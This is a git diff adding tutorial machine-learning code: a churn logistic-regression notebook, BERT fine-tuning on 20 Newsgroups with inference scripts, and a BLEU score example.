"id": "oAKgqSfg4Av_", + "outputId": "2efaaeba-9191-4899-cc23-a30daead997d" + }, + "outputs": [], + "source": [ + "!pip install --upgrade gdown" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "o_YiySaL5JXh", + "outputId": "de9b84e1-f860-42a1-f5c2-33d3c5f8d7c0" + }, + "outputs": [], + "source": [ + "!gdown --id 12vfq3DYFId3bsXuNj_PhsACMzrLTfObs" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "95RkXV8bgVAV", + "outputId": "e1db356b-e9e0-4e61-fe7a-4ed19f740637" + }, + "outputs": [], + "source": [ + "import numpy as np\n", + "from sklearn.model_selection import train_test_split\n", + "from imblearn.over_sampling import SMOTE\n", + "from sklearn.utils import resample\n", + "import pandas as pd\n", + "from sklearn.linear_model import LogisticRegression\n", + "from sklearn.metrics import roc_auc_score, classification_report\n", + "from sklearn.metrics import roc_auc_score\n", + "from sklearn.metrics import confusion_matrix\n", + "from sklearn.linear_model import LogisticRegression\n", + "import statsmodels.api as sm\n", + "import seaborn as sns\n", + "from sklearn.preprocessing import OrdinalEncoder" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 427 + }, + "id": "LbJgEpuFsXo8", + "outputId": "55c9df3b-26bc-4fda-90db-14a88914f4cf" + }, + "outputs": [], + "source": [ + "data=pd.read_csv(\"data_regression.csv\")\n", + "# get the first 10 rows\n", + "data.head(10)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "wc6EPUEBWvIq" + }, + "outputs": [], + "source": [ + "# check for the missing values and dataframes\n", + "def datainspection(dataframe):\n", + " print(\"Types of the variables we are working with:\")\n", + " print(dataframe.dtypes)\n", + " \n", + " print(\"Total Samples with missing values:\")\n", + "\n", + " print(data.isnull().any(axis=1).sum()) # null values\n", + "\n", + " print(\"Total Missing Values per Variable\")\n", + " print(data.isnull().sum())\n", + " print(\"Map of missing values\")\n", + " sns.heatmap(dataframe.isnull())" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000 + }, + "id": "aB6NkvMPX9Fx", + "outputId": "ad7a6b57-1cfb-4e30-9288-83191e943c59" + }, + "outputs": [], + "source": [ + "datainspection(data)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "kQVFmR-pjiJj" + }, + "outputs": [], + "source": [ + "data = data.dropna() # cleaning up null values" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 270 + }, + "id": "bRdAmm8yvWJJ", + "outputId": "071d8e5e-58be-4e3e-f6c8-136bd932dfd7" + }, + "outputs": [], + "source": [ + "# function for encoding categorical variables\n", + "def encode_cat(data, vars):\n", + " ord_en = OrdinalEncoder() \n", + " for v in vars:\n", + " name = v+'_code' # add _code for encoded variables\n", + " data[name] = ord_en.fit_transform(data[[v]])\n", + " print('The encoded values for '+ v + ' are:')\n", + " print(data[name].unique())\n", + " return data\n", + "data.head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 379 + }, + "id": "xGnuojAZzgSG", + "outputId": "9df3f4b2-d04d-427c-e1c3-cf0febfbcc09" + }, + "outputs": [], + "source": [ + "# check for the encoded variables\n", + "data = encode_cat(data, ['gender', 'multi_screen', 'mail_subscribed'])\n", + "data.head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "dVcl9m6-XhX2" + }, + "outputs": [], + "source": [ + "def full_plot(data, class_col, cols_to_exclude):\n", + " cols = data.select_dtypes(include=np.number).columns.tolist() # finding all the numerical columns from the dataframe\n", + " X = data[cols] # creating a dataframe only with the numerical columns\n", + " X = X[X.columns.difference(cols_to_exclude)] # columns to exclude\n", + " X = X[X.columns.difference([class_col])]\n", + " sns.pairplot(data, hue=class_col)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000 + }, + "id": "mhtOwq2-YADb", + "outputId": "185665dd-2c1d-4936-a34d-076ea1f2bd2d" + }, + "outputs": [], + "source": [ + "full_plot(data,class_col='churn', cols_to_exclude=['customer_id','phone_no', 'year'])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "KkQ0mOtRUQOb" + }, + "outputs": [], + "source": [ + "# function for creating plots for selective columns only\n", + "def selected_diagnotic(data,class_col, cols_to_eval):\n", + " cols_to_eval.append(class_col) \n", + " X = data[cols_to_eval] # only selective columns\n", + " sns.pairplot(X, hue=class_col) # plot" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 374 + }, + "id": "on5q6dJuWqG_", + "outputId": "32663e8c-deb5-4ba4-8fdf-c1433adedf10" + }, + "outputs": [], + "source": [ + "selected_diagnotic(data, class_col='churn', cols_to_eval=['videos_watched', 'no_of_days_subscribed'])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "9hOwb2lcZjOZ" + }, + "outputs": [], + "source": [ + "def logistic_regression(data, class_col, cols_to_exclude):\n", + " cols = data.select_dtypes(include=np.number).columns.tolist() \n", + " X = data[cols]\n", + " X = X[X.columns.difference([class_col])] \n", + " X = X[X.columns.difference(cols_to_exclude)] # unwanted columns \n", + "\n", + " y = data[class_col] # the target variable \n", + " logit_model = sm.Logit(y,X) \n", + " result = logit_model.fit() # fit the model \n", + " print(result.summary2()) # check for summary " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "CylJ_cx8lLgS", + "outputId": "021114d2-813c-4579-aba0-b0112da318e7" + }, + "outputs": [], + "source": [ + "logistic_regression(data, class_col='churn', cols_to_exclude=['customer_id', 'phone_no', 'year'])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "H9VkVEB6lTvZ" + }, + "outputs": [], + "source": [ + "def prepare_data(data, class_col, cols_to_exclude):\n", + " ## Split in training and test set\n", + " ## Selecting only the numerical columns and excluding the columns we specified in the function\n", + " cols = data.select_dtypes(include=np.number).columns.tolist() \n", + " X = data[cols]\n", + " X = X[X.columns.difference([class_col])] \n", + " X = X[X.columns.difference(cols_to_exclude)]\n", + " ## Selecting y as a column\n", + " y = data[class_col]\n", + " return train_test_split(X, y, test_size=0.3, random_state=0) # perform train test split" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "HaJzCmF0l6n9" + }, + "outputs": [], + "source": [ + "def run_model(X_train, X_test, y_train, y_test):\n", + " # Fitting the logistic regression\n", + " logreg = LogisticRegression(random_state=13)\n", + " logreg.fit(X_train, y_train) # fit the model\n", + " # Predicting y values\n", + " y_pred = logreg.predict(X_test) # make predictions on th test data\n", + " logit_roc_auc = roc_auc_score(y_test, logreg.predict(X_test))\n", + " print(classification_report(y_test, y_pred)) # check for classification report \n", + " print(\"The area under the curve is:\", logit_roc_auc) # check for AUC\n", + " return y_pred" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "GsjB3X51m5Fh", + "outputId": "0dce3d78-e373-42d7-e5ea-f63b6b9991ab" + }, + "outputs": [], + "source": [ + "X_train, X_test, y_train, y_test = prepare_data(data, class_col='churn', cols_to_exclude=['customer_id', 'phone_no', 'year'])\n", + "y_pred = run_model(X_train, X_test, y_train, y_test)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "l1foHWuxfpr7" + }, + "outputs": [], + "source": [ + "from sklearn.metrics import confusion_matrix\n", + "\n", + "def confusion_m(y_test, y_pred):\n", + " cm = confusion_matrix(y_test, y_pred)\n", + " print(cm)\n", + " tn, fp, fn, tp = cm.ravel()\n", + " print(\"TN:\", tn)\n", + " print(\"TP:\", tp)\n", + " print(\"FN:\", fn)\n", + " print(\"FP:\", fp)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "cipNEx9R9iRE", + "outputId": "09c7dcb6-3923-46c7-e0dc-3a21721fb343" + }, + "outputs": [], + "source": [ + "## Call the function\n", + "confusion_m(y_test, y_pred)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "ksRCpBZCng5k" + }, + "outputs": [], + "source": [ + "# class imbalance method 1 \n", + "def run_model_bweights(X_train, X_test, y_train, y_test):\n", + " logreg = LogisticRegression(random_state=13, class_weight='balanced') # define class_weight parameter\n", + " logreg.fit(X_train, y_train) # fit the model \n", + " y_pred = logreg.predict(X_test) # predict on test data\n", + " logit_roc_auc = roc_auc_score(y_test, logreg.predict(X_test)) # ROC AUC score\n", + " print(classification_report(y_test, y_pred)) \n", + " print(\"The area under the curve is:\", logit_roc_auc) # AUC curve" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "wAWyH-cBoYow", + "outputId": "24347c88-d87f-4bc8-fe08-f6314d83bad7" + }, + "outputs": [], + "source": [ + "run_model_bweights(X_train, X_test, y_train, y_test)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "eHQ5X6-Dobc6" + }, + "outputs": [], + "source": [ + "# class imbalance method 2\n", + "def run_model_aweights(X_train, X_test, y_train, y_test, w):\n", + " logreg = LogisticRegression(random_state=13, class_weight=w) # define class_weight parameter\n", + " logreg.fit(X_train, y_train) # fit the model \n", + " y_pred = logreg.predict(X_test) # predict on test data\n", + " logit_roc_auc = roc_auc_score(y_test, logreg.predict(X_test)) # ROC AUC score\n", + " print(classification_report(y_test, y_pred))\n", + " print(\"The area under the curve is: %0.2f\"%logit_roc_auc) # AUC curve" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "XCU6OwiNxabC", + "outputId": "5eb4ea9a-d72b-4611-8ab9-c6881bf394a6" + }, + "outputs": [], + "source": [ + "run_model_aweights(X_train,X_test,y_train,y_test,{0:90, 1:10})" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "PoF1mh1xopI9" + }, + "outputs": [], + "source": [ + "# class imbalance method 3\n", + "def adjust_imbalance(X_train, y_train, class_col):\n", + " X = pd.concat([X_train, y_train], axis=1)\n", + " # separate the 2 classes. Here we divide majority and minority classes\n", + " class0 = X[X[class_col] == 0]\n", + " class1 = X[X[class_col] == 1]\n", + " # Case 1 - bootstraps from the minority class\n", + " if len(class1)Open in Colab \ No newline at end of file diff --git a/machine-learning/nlp/bert-text-classification/finetune-bert.ipynb b/machine-learning/nlp/bert-text-classification/finetune-bert.ipynb new file mode 100644 index 00000000..e1aaf91d --- /dev/null +++ b/machine-learning/nlp/bert-text-classification/finetune-bert.ipynb @@ -0,0 +1,392 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "262Td2bPGm8L", + "outputId": "e955a49d-00f9-4ebf-ca7c-b5c2957336f3" + }, + "outputs": [], + "source": [ + "!pip install --upgrade --user transformers" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "OwAkTJcAJnkG" + }, + "outputs": [], + "source": [ + "import torch\n", + "from transformers.file_utils import is_tf_available, is_torch_available, is_torch_tpu_available\n", + "from transformers import BertTokenizerFast, BertForSequenceClassification\n", + "from transformers import Trainer, TrainingArguments\n", + "import numpy as np\n", + "import random\n", + "from sklearn.datasets import fetch_20newsgroups\n", + "from sklearn.model_selection import train_test_split" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "sFv-FiYtKuuf" + }, + "outputs": [], + "source": [ + "def set_seed(seed: int):\n", + " \"\"\"\n", + " Helper function for reproducible behavior to set the seed in ``random``, ``numpy``, ``torch`` and/or ``tf`` (if\n", + " installed).\n", + "\n", + " Args:\n", + " seed (:obj:`int`): The seed to set.\n", + " \"\"\"\n", + " random.seed(seed)\n", + " np.random.seed(seed)\n", + " if is_torch_available():\n", + " torch.manual_seed(seed)\n", + " torch.cuda.manual_seed_all(seed)\n", + " # ^^ safe to call this function even if cuda is not available\n", + " if is_tf_available():\n", + " import tensorflow as tf\n", + "\n", + " tf.random.set_seed(seed)\n", + "\n", + "set_seed(1)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "gDRivaE1KYWA" + }, + "outputs": [], + "source": [ + "# the model we gonna train, base uncased BERT\n", + "# check text classification models here: https://huggingface.co/models?filter=text-classification\n", + "model_name = \"bert-base-uncased\"\n", + "# max sequence length for each document/sentence sample\n", + "max_length = 512" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "HWtlkkVKXHc0" + }, + "outputs": [], + "source": [ + "# load the tokenizer\n", + "tokenizer = BertTokenizerFast.from_pretrained(model_name, do_lower_case=True)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "aSanWgrgXhbG" + }, + "outputs": [], + "source": [ + "def read_20newsgroups(test_size=0.2):\n", + " # download & load 20newsgroups dataset from sklearn's repos\n", + " dataset = fetch_20newsgroups(subset=\"all\", shuffle=True, remove=(\"headers\", \"footers\", \"quotes\"))\n", + " documents = dataset.data\n", + " labels = dataset.target\n", + " # split into training & testing a return data as well as label names\n", + " return train_test_split(documents, labels, test_size=test_size), dataset.target_names\n", + " \n", + "# call the function\n", + "(train_texts, valid_texts, train_labels, valid_labels), target_names = read_20newsgroups()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "E_r0ECJaXO-y" + }, + "outputs": [], + "source": [ + "# tokenize the dataset, truncate when passed `max_length`, \n", + "# and pad with 0's when less than `max_length`\n", + "train_encodings = tokenizer(train_texts, truncation=True, padding=True, max_length=max_length)\n", + "valid_encodings = tokenizer(valid_texts, truncation=True, padding=True, max_length=max_length)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "7riiOpJiXdTd" + }, + "outputs": [], + "source": [ + "class NewsGroupsDataset(torch.utils.data.Dataset):\n", + " def __init__(self, encodings, labels):\n", + " self.encodings = encodings\n", + " self.labels = labels\n", + "\n", + " def __getitem__(self, idx):\n", + " item = {k: torch.tensor(v[idx]) for k, v in self.encodings.items()}\n", + " item[\"labels\"] = torch.tensor([self.labels[idx]])\n", + " return item\n", + "\n", + " def __len__(self):\n", + " return len(self.labels)\n", + "\n", + "# convert our tokenized data into a torch Dataset\n", + "train_dataset = NewsGroupsDataset(train_encodings, train_labels)\n", + "valid_dataset = NewsGroupsDataset(valid_encodings, valid_labels)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "I4aAwDGZXnyk", + "outputId": "ea1f6f93-940f-43b0-bb9d-317662cb75a7" + }, + "outputs": [], + "source": [ + "# load the model and pass to CUDA\n", + "model = BertForSequenceClassification.from_pretrained(model_name, num_labels=len(target_names)).to(\"cuda\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "AkZN1X-zOoe0" + }, + "outputs": [], + "source": [ + "from sklearn.metrics import accuracy_score\n", + "\n", + "def compute_metrics(pred):\n", + " labels = pred.label_ids\n", + " preds = pred.predictions.argmax(-1)\n", + " # calculate accuracy using sklearn's function\n", + " acc = accuracy_score(labels, preds)\n", + " return {\n", + " 'accuracy': acc,\n", + " }" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "MjMB9f01Pyiu", + "outputId": "7654f4a7-b323-49ef-e5b8-eca3d8c00369" + }, + "outputs": [], + "source": [ + "training_args = TrainingArguments(\n", + " output_dir='./results', # output directory\n", + " num_train_epochs=3, # total number of training epochs\n", + " per_device_train_batch_size=8, # batch size per device during training\n", + " per_device_eval_batch_size=20, # batch size for evaluation\n", + " warmup_steps=500, # number of warmup steps for learning rate scheduler\n", + " weight_decay=0.01, # strength of weight decay\n", + " logging_dir='./logs', # directory for storing logs\n", + " load_best_model_at_end=True, # load the best model when finished training (default metric is loss)\n", + " # but you can specify `metric_for_best_model` argument to change to accuracy or other metric\n", + " logging_steps=400, # log & save weights each logging_steps\n", + " save_steps=400,\n", + " evaluation_strategy=\"steps\", # evaluate each `logging_steps`\n", + ")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "BukYQXs2P35S" + }, + "outputs": [], + "source": [ + "trainer = Trainer(\n", + " model=model, # the instantiated Transformers model to be trained\n", + " args=training_args, # training arguments, defined above\n", + " train_dataset=train_dataset, # training dataset\n", + " eval_dataset=valid_dataset, # evaluation dataset\n", + " compute_metrics=compute_metrics, # the callback that computes metrics of interest\n", + ")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 357 + }, + "id": "s5a7QY_wP5iD", + "outputId": "d8c1b2f2-5c07-414f-f2b7-45b9b406faf2" + }, + "outputs": [], + "source": [ + "# train the model\n", + "trainer.train()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 87 + }, + "id": "cdWlnZxAR0XA", + "outputId": "4e40738e-5500-4567-f107-e5c019506cf7" + }, + "outputs": [], + "source": [ + "# evaluate the current model after training\n", + "trainer.evaluate()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ojgBg7cfSp4J", + "outputId": "234d385e-fa7f-483d-fb40-e37ce8652c3a" + }, + "outputs": [], + "source": [ + "# saving the fine tuned model & tokenizer\n", + "model_path = \"20newsgroups-bert-base-uncased\"\n", + "model.save_pretrained(model_path)\n", + "tokenizer.save_pretrained(model_path)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "KXHXb7RYTARC" + }, + "outputs": [], + "source": [ + "model = BertForSequenceClassification.from_pretrained(model_path, num_labels=len(target_names)).to(\"cuda\")\n", + "tokenizer = BertTokenizerFast.from_pretrained(model_path)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "96uWKthsR8fS" + }, + "outputs": [], + "source": [ + "def get_prediction(text):\n", + " # prepare our text into tokenized sequence\n", + " inputs = tokenizer(text, padding=True, truncation=True, max_length=max_length, return_tensors=\"pt\").to(\"cuda\")\n", + " # perform inference to our model\n", + " outputs = model(**inputs)\n", + " # get output probabilities by doing softmax\n", + " probs = outputs[0].softmax(1)\n", + " # executing argmax function to get the candidate label\n", + " return target_names[probs.argmax()]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "EUaasmhpSYcg", + "outputId": "8bb7b6ce-5ae8-4d5c-d8e5-43d42f5a136f" + }, + "outputs": [], + "source": [ + "# Example #1\n", + "text = \"\"\"With the pace of smartphone evolution moving so fast, there's always something waiting in the wings. \n", + "No sooner have you spied the latest handset, that there's anticipation for the next big thing. \n", + "Here we look at those phones that haven't yet launched, the upcoming phones for 2021. \n", + "We'll be updating this list on a regular basis, with those device rumours we think are credible and exciting.\"\"\"\n", + "print(get_prediction(text))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Ht6zywR_rOzA" + }, + "outputs": [], + "source": [ + "# Example #2\n", + "text = \"\"\"\n", + "A black hole is a place in space where gravity pulls so much that even light can not get out. \n", + "The gravity is so strong because matter has been squeezed into a tiny space. This can happen when a star is dying.\n", + "Because no light can get out, people can't see black holes. \n", + "They are invisible. Space telescopes with special tools can help find black holes. \n", + "The special tools can see how stars that are very close to black holes act differently than other stars.\n", + "\"\"\"\n", + "print(get_prediction(text))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Example #3\n", + "text = \"\"\"\n", + "Coronavirus disease (COVID-19) is an infectious disease caused by a newly discovered coronavirus.\n", + "Most people infected with the COVID-19 virus will experience mild to moderate respiratory illness and recover without requiring special treatment. \n", + "Older people, and those with underlying medical problems like cardiovascular disease, diabetes, chronic respiratory disease, and cancer are more likely to develop serious illness.\n", + "\"\"\"\n", + "print(get_prediction(text))" + ] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "collapsed_sections": [], + "machine_shape": "hm", + "name": "Untitled21.ipynb", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3.8.7 64-bit", + "metadata": { + "interpreter": { + "hash": "777490da48e046e3b512f0b24bf037db286a787493a11bf82a9e0f2cbf21bb67" + } + }, + "name": "python3" + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/nlp/bert-text-classification/inference.py b/machine-learning/nlp/bert-text-classification/inference.py new file mode 100644 index 00000000..cd5d32b5 --- /dev/null +++ b/machine-learning/nlp/bert-text-classification/inference.py @@ -0,0 +1,44 @@ +from transformers import BertForSequenceClassification, BertTokenizerFast +from sklearn.model_selection import train_test_split +from sklearn.datasets import fetch_20newsgroups + +model_path = "20newsgroups-bert-base-uncased" +max_length = 512 + +def read_20newsgroups(test_size=0.2): + dataset = fetch_20newsgroups(subset="all", shuffle=True, remove=("headers", "footers", "quotes")) + documents = dataset.data + labels = dataset.target + return train_test_split(documents, labels, test_size=test_size), dataset.target_names + + +(train_texts, valid_texts, train_labels, valid_labels), target_names = read_20newsgroups() + +model = BertForSequenceClassification.from_pretrained(model_path, num_labels=len(target_names)).to("cuda") +tokenizer = BertTokenizerFast.from_pretrained(model_path) + +def get_prediction(text): + # prepare our text into tokenized sequence + inputs = tokenizer(text, padding=True, truncation=True, max_length=max_length, return_tensors="pt").to("cuda") + # perform inference to our model + outputs = model(**inputs) + # get output probabilities by doing softmax + probs = outputs[0].softmax(1) + # executing argmax function to get the candidate label + return target_names[probs.argmax()] + +# Example #1 +text = """With the pace of smartphone evolution moving so fast, there's always something waiting in the wings. +No sooner have you spied the latest handset, that there's anticipation for the next big thing. +Here we look at those phones that haven't yet launched, the upcoming phones for 2021. +We'll be updating this list on a regular basis, with those device rumours we think are credible and exciting.""" +print(get_prediction(text)) +# Example #2 +text = """ +A black hole is a place in space where gravity pulls so much that even light can not get out. +The gravity is so strong because matter has been squeezed into a tiny space. This can happen when a star is dying. +Because no light can get out, people can't see black holes. +They are invisible. Space telescopes with special tools can help find black holes. +The special tools can see how stars that are very close to black holes act differently than other stars. +""" +print(get_prediction(text)) \ No newline at end of file diff --git a/machine-learning/nlp/bert-text-classification/requirements.txt b/machine-learning/nlp/bert-text-classification/requirements.txt new file mode 100644 index 00000000..af3928e4 --- /dev/null +++ b/machine-learning/nlp/bert-text-classification/requirements.txt @@ -0,0 +1,4 @@ +transformers +torch +numpy +sklearn \ No newline at end of file diff --git a/machine-learning/nlp/bert-text-classification/train.py b/machine-learning/nlp/bert-text-classification/train.py new file mode 100644 index 00000000..790ed74d --- /dev/null +++ b/machine-learning/nlp/bert-text-classification/train.py @@ -0,0 +1,114 @@ +# !pip install transformers + +import torch +from transformers.file_utils import is_tf_available, is_torch_available, is_torch_tpu_available +from transformers import BertTokenizerFast, BertForSequenceClassification +from transformers import Trainer, TrainingArguments +import numpy as np +import random +from sklearn.datasets import fetch_20newsgroups +from sklearn.model_selection import train_test_split +from sklearn.metrics import accuracy_score + + +def set_seed(seed: int): + """ + Helper function for reproducible behavior to set the seed in ``random``, ``numpy``, ``torch`` and/or ``tf`` (if + installed). + + Args: + seed (:obj:`int`): The seed to set. + """ + random.seed(seed) + np.random.seed(seed) + if is_torch_available(): + torch.manual_seed(seed) + torch.cuda.manual_seed_all(seed) + # safe to call this function even if cuda is not available + if is_tf_available(): + import tensorflow as tf + tf.random.set_seed(seed) + +set_seed(1) + +# the model we gonna train, base uncased BERT +# check text classification models here: https://huggingface.co/models?filter=text-classification +model_name = "bert-base-uncased" +# max sequence length for each document/sentence sample +max_length = 512 +# load the tokenizer +tokenizer = BertTokenizerFast.from_pretrained(model_name, do_lower_case=True) + +def read_20newsgroups(test_size=0.2): + # download & load 20newsgroups dataset from sklearn's repos + dataset = fetch_20newsgroups(subset="all", shuffle=True, remove=("headers", "footers", "quotes")) + documents = dataset.data + labels = dataset.target + # split into training & testing a return data as well as label names + return train_test_split(documents, labels, test_size=test_size), dataset.target_names + +# call the function +(train_texts, valid_texts, train_labels, valid_labels), target_names = read_20newsgroups() +# tokenize the dataset, truncate when passed `max_length`, +# and pad with 0's when less than `max_length` +train_encodings = tokenizer(train_texts, truncation=True, padding=True, max_length=max_length) +valid_encodings = tokenizer(valid_texts, truncation=True, padding=True, max_length=max_length) + +class NewsGroupsDataset(torch.utils.data.Dataset): + def __init__(self, encodings, labels): + self.encodings = encodings + self.labels = labels + + def __getitem__(self, idx): + item = {k: torch.tensor(v[idx]) for k, v in self.encodings.items()} + item["labels"] = torch.tensor([self.labels[idx]]) + return item + + def __len__(self): + return len(self.labels) + +# convert our tokenized data into a torch Dataset +train_dataset = NewsGroupsDataset(train_encodings, train_labels) +valid_dataset = NewsGroupsDataset(valid_encodings, valid_labels) +# load the model and pass to CUDA +model = BertForSequenceClassification.from_pretrained(model_name, num_labels=len(target_names)).to("cuda") + +def compute_metrics(pred): + labels = pred.label_ids + preds = pred.predictions.argmax(-1) + # calculate accuracy using sklearn's function + acc = accuracy_score(labels, preds) + return { + 'accuracy': acc, + } + +training_args = TrainingArguments( + output_dir='./results', # output directory + num_train_epochs=3, # total number of training epochs + per_device_train_batch_size=8, # batch size per device during training + per_device_eval_batch_size=20, # batch size for evaluation + warmup_steps=500, # number of warmup steps for learning rate scheduler + weight_decay=0.01, # strength of weight decay + logging_dir='./logs', # directory for storing logs + load_best_model_at_end=True, # load the best model when finished training (default metric is loss) + # but you can specify `metric_for_best_model` argument to change to accuracy or other metric + logging_steps=400, # log & save weights each logging_steps + save_steps=400, + evaluation_strategy="steps", # evaluate each `logging_steps` +) + +trainer = Trainer( + model=model, # the instantiated Transformers model to be trained + args=training_args, # training arguments, defined above + train_dataset=train_dataset, # training dataset + eval_dataset=valid_dataset, # evaluation dataset + compute_metrics=compute_metrics, # the callback that computes metrics of interest +) +# train the model +trainer.train() +# evaluate the current model after training +trainer.evaluate() +# saving the fine tuned model & tokenizer +model_path = "20newsgroups-bert-base-uncased" +model.save_pretrained(model_path) +tokenizer.save_pretrained(model_path) \ No newline at end of file diff --git a/machine-learning/nlp/bleu-score/README.md b/machine-learning/nlp/bleu-score/README.md new file mode 100644 index 00000000..00804391 --- /dev/null +++ b/machine-learning/nlp/bleu-score/README.md @@ -0,0 +1 @@ +# [How to Calculate the BLEU Score in Python](https://www.thepythoncode.com/article/bleu-score-in-python) \ No newline at end of file diff --git a/machine-learning/nlp/bleu-score/bleu_score.py b/machine-learning/nlp/bleu-score/bleu_score.py new file mode 100644 index 00000000..e80cfa11 --- /dev/null +++ b/machine-learning/nlp/bleu-score/bleu_score.py @@ -0,0 +1,33 @@ +# -*- coding: utf-8 -*- +"""BLEU Score.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1dSsETrstp-EEGMX46nc-m_jw00nzkaNZ +""" + +from nltk.translate.bleu_score import sentence_bleu, corpus_bleu + +# Prepare the reference sentences +reference1 = ['I', 'love', 'eating', 'ice', 'cream'] +reference2 = ['I', 'enjoy', 'eating', 'ice', 'cream'] + +# Prepare the candidate sentence +translation = ['I', 'love', 'eating', 'ice', 'cream'] + +# Calculate the BLEU score for a single sentence +bleu_score = sentence_bleu([reference1, reference2], translation) +print("BLEU Score: ", bleu_score) + +# Prepare the reference sentences and candidate sentences for multiple translations +references = [['I', 'love', 'eating', 'ice', 'cream'], ['He', 'enjoys', 'eating', 'cake']] +translations = [['I', 'love', 'eating', 'ice', 'cream'], ['He', 'likes', 'to', 'eat', 'cake']] + +# Create a list of reference lists +references_list = [[ref] for ref in references] + +# Calculate BLEU score for the entire corpus +bleu_score_corpus = corpus_bleu(references_list, translations) +print("Corpus BLEU Score: ", bleu_score_corpus) + diff --git a/machine-learning/nlp/bleu-score/requirements.txt b/machine-learning/nlp/bleu-score/requirements.txt new file mode 100644 index 00000000..13b03ed0 --- /dev/null +++ b/machine-learning/nlp/bleu-score/requirements.txt @@ -0,0 +1 @@ +ntlk \ No newline at end of file diff --git a/machine-learning/nlp/chatbot-transformers/DialoGPT.ipynb b/machine-learning/nlp/chatbot-transformers/DialoGPT.ipynb new file mode 100644 index 00000000..fdf3b5e8 --- /dev/null +++ b/machine-learning/nlp/chatbot-transformers/DialoGPT.ipynb @@ -0,0 +1,1579 @@ +{ + "nbformat": 4, + "nbformat_minor": 0, + "metadata": { + "colab": { + "name": "DialoGPT.ipynb", + "provenance": [], + "collapsed_sections": [] + }, + "kernelspec": { + "name": "python3", + "display_name": "Python 3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + 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"9e8b59c547da439f998807c57a1f5456", + "228f467aeeca462b924b736f24d92b40", + "d955e5f68a1845d2b0578fb2d6145b52", + "1050a8a7afc34f5d949b1d5541288e39", + "d78174ee859240ec946c03c401be5aa3", + "b32698486387411b85da4d6f0e6d4d30", + 